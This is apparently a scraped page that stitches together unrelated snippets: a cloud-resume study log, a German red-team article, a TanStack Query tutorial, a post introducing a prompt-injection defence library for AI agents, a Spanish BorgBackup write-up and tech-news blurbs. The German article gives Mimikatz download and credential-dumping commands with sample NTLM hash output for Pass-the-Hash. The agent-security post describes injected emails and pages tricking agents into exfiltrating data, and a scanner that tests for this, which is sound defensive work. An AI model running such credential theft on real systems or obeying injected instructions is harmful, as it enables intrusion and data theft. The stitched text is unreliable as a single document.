标签：#p

In my research on the topic of Azure and Cloud, Gemini mentioned the Cloud Resume Challenge , which I looked into and picked up a copy of the book for. This post will outline my steps as I work through it 😁. Week 00 :: AZ-900 The goal here is to work through necessary course-work so I can quiz for and obtain the Microsoft AZ-900 certification. I enrolled myself in the Microsoft Cloud Support Associate Professional Certificate offered by Coursera and, as I get closer to completing it, will keep this post up to date on my status... In lieu of just studying, I am jumping ahead to work on the project, which will be outlined below. Week 01 :: Cloud Resume (Front-End) 07/23/2026 Yesterday (and today) I worked on creating / securing my Azure account, setting up my environment for Azure development and building the front-end. The development environment is VS Code with the Azure Extensions, Azure CLI and Azure Functions Core Tools. The website is, in its current state, an exact replica of my PDF resume... made with Vue.js. I will be adding a separate page based solely around this project as I included Vue Router and already worked through layout components, a 404 page, etc.

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

1. Introduction: What is TanStack Query? TanStack Query (formerly React Query) is a framework-agnostic state management library designed specifically to manage Server State —handling data fetching, caching, background updating, and cache invalidation. 2. Server State vs. Client State & The Memory Reality Client State: Owned and controlled entirely by the browser (e.g., isModalOpen , selected UI theme). Server State: Owned by the remote backend database (e.g., user profiles, posts, cart items). The browser only holds a read-only temporary snapshot . Where is data physically stored? Physical Location: By default, cached data lives strictly in the browser tab's JavaScript RAM (In-Memory) . Backend ("The Server"): Refers to your remote API/database (regardless of whether it runs on Kubernetes, Docker containers, serverless functions, or bare metal). Optional Persistence: You can opt to sync this RAM cache to localStorage , sessionStorage , or IndexedDB using TanStack Query Persisters. import React , { useState } from ' react ' ; import { QueryClient , QueryClientProvider , useQuery , useMutation , useQueryClient , } from ' @tanstack/react-query ' ; // 1. Initialize QueryClient (manages the RAM cache) const queryClient = new QueryClient ({ defaultOptions : { queries : { staleTime : 10000 , // Data stays fresh in RAM for 10 seconds }, }, }); // Mock API functions async function fetchPost ( postId ) { const res = await fetch ( `[https://jsonplaceholder.typicode.com/posts/$](https://jsonplaceholder.typicode.com/posts/$){postId}` ); if ( ! res . ok ) throw new Error ( ' Network error ' ); return res . json (); } async function createPost ( newPost ) { const res = await fetch ( ' [https://jsonplaceholder.typicode.com/posts](https://jsonplaceholder.typicode.com/posts) ' , { method : ' POST ' , headers : { ' Content-Type ' : ' application/json ' }, body : JSON . stringify ( newPost ), }); return res . json (); } // 2. Query Component (Fetching & Reading Data) function PostViewe

I've been building AI agents lately, and honestly, their security model terrifies me. We give LLMs access to powerful tools like shell.run , http.post , and fs.read . But if an agent reads a malicious email or a poisoned webpage, it can be tricked by prompt injection into using those tools to exfiltrate data. Hoping the LLM refuses the attack isn't a real security strategy. So, I built ModelFuzz. It's an open-source Python library that intercepts the tool call at the execution layer. The defense: @shield_tool Instead of trying to filter prompts, ModelFuzz checks the arguments before the tool runs. If it detects a policy violation, like a stolen API key or an unsafe URL, the tool simply doesn't execute. from modelfuzz import shield_tool @shield_tool def send_email ( to_address : str , subject : str , body : str ) -> None : smtp . send ( to_address , subject , body ) Even if the LLM is completely tricked by a prompt injection, the tool never fires. The offense: modelfuzz scan I also built a CLI scanner that red-teams your agent. It fires deceptive prompt injection attacks at your local model to see if it can be tricked into calling a tool. modelfuzz scan --endpoint http://localhost:11434/v1 --model qwen2.5:1.5b I tested it against a local qwen2.5:1.5b model, and it got breached 4 out of 5 times. Try it out It's 100% open source and live on PyPI. pip install "modelfuzz[scan]" GitHub: higagan/modelfuzz Website: modelfuzz.com I'd love to know what security policies you think are missing, or what agent frameworks you want supported next!

Un análisis técnico basado en BorgBackup para entornos Debian/Ubuntu Autor: Arcadio Ortega Reinoso Versión del sistema: 2.1.0 Fecha: Julio 2026 Plataforma objetivo: Debian 11+ / Ubuntu 22.04+ (x86_64) Puedes encontrarlo en: BorgShield Fortalezas Diferenciales Valor Diferencial Claro: La inclusión de 23 tipos de metadatos (repositorios git, dconf, claves GPG, snaps, flatpaks, etc.) resuelve el problema de tener los archivos pero no saber cómo reconstruir el entorno. No es solo "tus datos están a salvo", es "sabemos exactamente qué tenías y cómo volver a dejarlo igual". Restauración Semántica: test-restore va más allá de borg check . Mientras que otras herramientas solo verifican checksums (integridad técnica), nosotros verificamos si los datos son realmente legibles y útiles (integridad semántica): ¿el SQL de las BBDD se puede leer? ¿los paquetes están en formato válido? ¿las rutas esenciales existen? ¿los gzips no están corruptos? Asistente Guiado: restore-full y restore-dry-run forman un sistema de dos velocidades: simular antes de ejecutar, y guiar paso a paso durante la ejecución real. Esto reduce significativamente el "pánico" durante un desastre real, guiando incluso en la reinstalación de paquetes y fuentes APT. Resumen Este documento presenta el diseño, la implementación y la evaluación de backup.sh , un sistema de backup para Linux orientado a disco externo local. El sistema se basa en BorgBackup como motor de almacenamiento deduplicado, cifrado y comprimido. Se analizan las alternativas existentes (rsync, rsnapshot, restic), se justifican las decisiones de diseño y se presentan proyecciones de rendimiento basadas en métricas obtenidas de un sistema real con ~360 GB de datos, ~3200 paquetes instalados y ~460 paquetes instalados manualmente. Los resultados muestran que BorgBackup reduce el espacio de almacenamiento del backup completo a ~160 GB (55% de compresión con deduplicación), los backups incrementales se completan en 3-8 minutos, y el sistema permite r

AI code review that runs your code Discussion | Link

On the hunt for a PC case that’s loaded with features and has a unique look? Amazon, Best Buy, and Corsair are selling the Corsair Frame 4500X RS for $119.99, a $70 discount from the usual price. The versatile case supports motherboards up to EATX, GPUs up to 460mm in length, and has a seamless […]

The latest updates to Qobuz make it an even better alternative to Spotify.

An MCP server for GPs Discussion | Link

In an earnings call yesterday, Tesla CEO Elon Musk did his best to paint a positive portrait of the company's robotaxi program. New cities are being added, more miles are being driven, and more people are experiencing Tesla's unsupervised vehicles. But Musk's typical bullishness seemed to be absent from the call, as the occasional trillionaire […]

The Media Router is a tool that automatically selects the best image, video, or audio generation model for a request based on whether a developer prioritizes quality, speed or cost.

submitted by /u/KAdot [link] [留言]

Users can also integrate their personal data from services like Apple Health, Function, and MyFitnessPal.

OpenAI is rolling out ChatGPT Health to everyone in the US on Thursday, allowing more people to connect their medical records and health-tracking information to the chatbot. During a briefing, Ashley Alexander, OpenAI's vice president of health product, says the company's models "are now capable of reasoning at levels that are better than clinician level." […]

Primate Labs is releasing Geekbench 7, the latest generation of its popular benchmarking tool. Geekbench 7 features new video and audio encoding / decoding tests, a redesigned multi-core test, and larger, more demanding datasets for CPUs and GPUs to crunch through. It otherwise looks and acts just like Geekbench 6, and a Pro license will […]

When it comes to organ donation, time is everything. As soon as an organ has been carefully removed from a donor’s body, it starts to deteriorate. Surgeons have a matter of hours to get it into a recipient. Leave it too long and the organ will become unusable. In most cases, organs will be kept…

The case provides a novel report of the emergence of heterovirulence.

The European Commission claims that Google boosted its own apps and products to the top of search rankings to the detriment of its competitors.

Track every credit, perk, and point before it expires Discussion | Link

Google becomes third tech giant to face huge fines under the Digital Markets Act.